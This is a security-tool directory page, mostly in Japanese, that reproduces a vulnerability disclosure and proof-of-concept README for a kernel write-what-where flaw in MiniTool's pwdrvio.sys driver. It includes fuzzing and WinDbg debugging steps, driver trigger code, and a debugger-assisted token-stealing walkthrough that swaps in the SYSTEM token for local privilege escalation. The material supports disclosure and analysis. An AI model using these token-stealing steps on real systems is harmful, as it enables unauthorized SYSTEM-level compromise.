Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-36981-Kernel-EoP-PoC — プロジェクト日付: 2026年2月 / MiniToolのカーネルドライバ内のメモリ破壊の脆弱性。デバッガ支援による任意のカーネル書き込みプリミティブを示し、権限昇格に悪用される可能性があります。 | Kitploit
ツール/GitHubGitHub/canomer/cve-2026-36981-kernel-eop-poc
特権昇格脆弱性分析エクスプロイトデバッガファジングマルウェア分析バイナリエクスプロイト
GitHubcanomer/cve-2026-36981-kernel-eop-poc

CVE-2026-36981-Kernel-EoP-PoC

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

プロジェクト日付: 2026年2月 / MiniToolのカーネルドライバ内のメモリ破壊の脆弱性。デバッガ支援による任意のカーネル書き込みプリミティブを示し、権限昇格に悪用される可能性があります。

リポジトリを見る
2284ヶ月前未レビュー

CVE-2026-36981-Kernel-EoP-PoC

MiniTool のカーネルドライバ pwdrvio.sys 内におけるカーネル write-what-where 状態。特権昇格に悪用可能なデバッガ支援型の任意カーネル書き込みプリミティブを実証します。

  • 2026-02-09 ベンダーに通知
  • 2026-03-05 ベンダーが確認
  • 2026-03-05 MITRE に CVE を申請
  • 2026-05-10 90日間の調整開示期間を経て公開

https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e

任意カーネル書き込み → ローカル特権昇格 (LPE) 深刻度: 高
CVSS 3.1 スコア: 7.8 (LPE) CVSS ベクター文字列:

  • LPE: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

    • 特権昇格に悪用可能なデバッガ支援型の任意カーネル書き込みプリミティブ。
    • ドライバオフセット 0x1641 の write-what-where プリミティブを介して悪用可能
    • 確実な悪用にはカーネルデバッグツールが必要
    • Windows 10 Build 19045.6466 で確認済み

攻撃の前提条件:

  • 対象システムへのローカルアクセス
  • 標準ユーザーアカウント (管理者以外)
  • MiniTool がインストール済みまたはアンインストール済み (pwdrvio.sys ドライバが読み込まれている)

悪用結果: LPE - デバッガ支援型の特権昇格を実証 (NT AUTHORITY / SYSTEM)、システム全体の完全な侵害

脆弱性発見のタイムライン

初期ファジングと BSOD の発見

日付: 2026年2月5日
活動: カスタム Python ファザーを使用した体系的なカーネルドライバのファジング

発見プロセス:

  1. ターゲットの選択:

    • Windows 10 VM 上でインストール済みのカーネルドライバを列挙
    • pwdrvio.sys を最古のドライバとして特定 (タイムスタンプ: 2009年6月16日)
    • ドライバファイル: C:\Windows\System32\drivers\pwdrvio.sys
    • デバイスオブジェクト: \\.\PartitionWizardDiskAccesser\0
  2. 初期ファジング:

    • ctypes を使用してドライバとインターフェースする Python ファザーを開発
    • WriteFile/DeviceIoControl を介してドライバデバイスにランダムデータを送信
    • 結果: 複数のブルースクリーン (BSOD) が発生
  3. Verifier の有効化:

    • クラッシュ検出を強化するため Driver Verifier を有効化 ```cmd verifier /standard /driver pwdrvio.sys

Verifier 設定: ``` Verifier Flags: 0x001209bb Standard Flags Enabled: [X] Special pool [X] Force IRQL checking
[X] Pool tracking [X] I/O verification [X] Deadlock detection [X] DMA checking [X] Security checks [X] Miscellaneous checks [X] DDI compliance checking

### WinDbg カーネルデバッグのセットアップ
**日付:** 2026年2月5日〜6日  
**アクティビティ:** 根本原因分析のためのカーネルデバッグ環境を構築

**セットアップ手順:**

1. **VMwareシリアルポートの設定:**   ```
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
  1. ゲストOSの設定: ```cmd REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0

  2. ホスト WinDbg 接続: ``` WinDbg → File → Attach to Kernel ├─ Port: \.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓

    Result: "Kernel Debugger connection established."

根本原因分析 - 任意写入漏洞发现

日期: 2026年2月6日
活动: 识别出任意内核写入原语

分析步骤:

  1. 模块分析: ``` 1: kd> lm m pwdrvio start end module name fffff805315f0000 fffff805315f8000 pwdrvio (Jun 16 2009)

    1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio

    DriverEntry: fffff805315f6008 DriverUnload: fffff805315f1060

    Dispatch Routines: [00] IRP_MJ_CREATE fffff805315f108c [02] IRP_MJ_CLOSE fffff805315f12f8 [03] IRP_MJ_READ fffff805315f16c4 [04] IRP_MJ_WRITE fffff805315f1564 ← Target [0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404

  2. 脆弱な命令の発見:

    書き込みハンドラにブレークポイントを設定: ``` 1: kd> bp pwdrvio+0x1641 1: kd> g

    Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax

重大な発見: 任意書き込みプリミティブが特定されました!

  • 命令はカーネルポインタ(RAX)をアドレス[R11-0x10]に書き込みます
  • R11はスタックフレームからロードされます: mov r11, qword ptr [rbp+0xB8h]
  • 宛先アドレスに対する検証は実行されていません
  1. レジスタ状態の分析: ``` 0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame

    0: kd> dq @rbp+0xB8 L1 ffffe60f84c386c8 ffffe60f84c38750 ← R11 loaded from here

UAFから任意書き込みへの解析

日付: 2026年2月6日〜7日
活動: Use-After-Freeからwrite-what-where条件までの脆弱性を追跡

メモリ破壊チェーン:

  1. IRP割り当て: ``` 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets

  2. バッファの関係: ``` 0: kd> r rsi rsi=ffffe60f828df900 ← User buffer location

    0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!

分析: ユーザーバッファはRBPフレームから直接アクセスできない

  • RBPはカーネルプール内のIRP構造体を指している
  • ユーザーバッファは別のメモリ領域にある
  • RBP+0xB8オフセットはユーザー制御のバッファを指していない
  1. Use-After-Free状態:

    ドライバはIRP構造体内にダングリングポインタを保持している: ```c // Ghidra decompilation (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP

    // No validation! lVar5 = IoBuildAsynchronousFsdRequest(...);

    // Write to [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!

ローカル権限昇格の開発

日付: 2026年2月7日〜8日
活動: トークンスティーリング技術の開発

悪用戦略:

目的: 現在のプロセストークンをSYSTEMトークンで上書きする

Windows EPROCESS構造:``` +0x000 Pcb : _KPROCESS ... +0x4b8 Token : _EX_FAST_REF ← Token pointer location

**トークン窃取手順:**

1. **SYSTEMプロセスを特定する:**   ```
   0: kd> !process 4 0
   PROCESS ffffe7875ac86200
       SessionId: none  Cid: 0004    Peb: 00000000
       Image: System
   
   0: kd> dq ffffe7875ac86200+4b8 L1
   ffffe787`5ac866b8  ffffc08e`6642f04f  ← SYSTEM token value
  1. 攻撃者プロセスを特定する: ``` 0: kd> !process 0 0 poc1.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Image: poc1.exe

    0: kd> dq ffffe78760150080+4b8 L1 ffffe78760150538 ffffc08e6c37a066 ← Standard user token

  2. ターゲットアドレスの計算: ``` Target = TokenPointer + 0x10 = 0xffffe78760150538 + 0x10 = 0xffffe78760150548

    Reason: Instruction uses [R11-0x10], so: (Target + 0x10) - 0x10 = Target

  3. トークン上書きの実行: ``` 0: kd> r rax = ffffc08e6642f04f ; SYSTEM token 0: kd> r r11 = ffffe78760150548 ; Target address 0: kd> p ; Execute: mov [r11-10h],rax

    0: kd> dq ffffe78760150538 L1 ; Verify ffffe78760150538 ffffc08e6642f04f ← Token successfully changed!

  4. 実行の復元: ``` 0: kd> r rip = pwdrvio + 165f ; Skip to safe return 0: kd> r eax = 0 ; Return success 0: kd> bc * ; Clear breakpoints 0: kd> g ; Continue execution

結果: プロセスがSYSTEM権限を取得しました!

脆弱性 #1: LPEにつながる任意カーネル書き込み

CWE分類

  • CWE-787: 領域外書き込み
  • CWE-123: Write-what-where条件
  • CWE-782: 不十分なアクセス制御で公開されたIOCTL

脆弱性の詳細

場所: pwdrvio.sys オフセット 0x1641
アセンブリ:```assembly pwdrvio+0x1633: mov r11, qword ptr [rbp+0xB8h] ; Load pointer from IRP pwdrvio+0x1641: mov qword ptr [r11-10h], rax ; Arbitrary write!

**トリガーメカニズム:**```c
HANDLE hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
                            GENERIC_READ | GENERIC_WRITE,
                            0, NULL, OPEN_EXISTING, 0, NULL);

char buffer[0x100];
DWORD bytesReturned;
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

悪用の制限事項:

この脆弱性は、確実な悪用のためにカーネルデバッグツールが必要です。その理由は以下のとおりです。

  1. レジスタ制御の課題:

    • 宛先レジスタ R11 は [RBP+0xB8] からロードされる
    • RBP はカーネルプール内の IRP スタックフレームを指す
    • ユーザーバッファは異なるメモリ領域にある(35MB 以上のオフセット)
    • ユーザーバッファから [RBP+0xB8] を直接制御することはできない
  2. プールメモリレイアウト: ``` RBP (IRP frame): 0xffffe60f84c38610 User buffer: 0xffffe60f828df900 Difference: 35,823,344 bytes (35 MB)

  3. 必要な手動介入:

    • デバッガーを介してR11レジスタをターゲットアドレスに設定
    • RAXレジスタをSYSTEMトークン値に設定
    • 命令を実行
    • 実行フローを復元

CVSS 3.1スコア: 7.8 (高)

ツールをダウンロード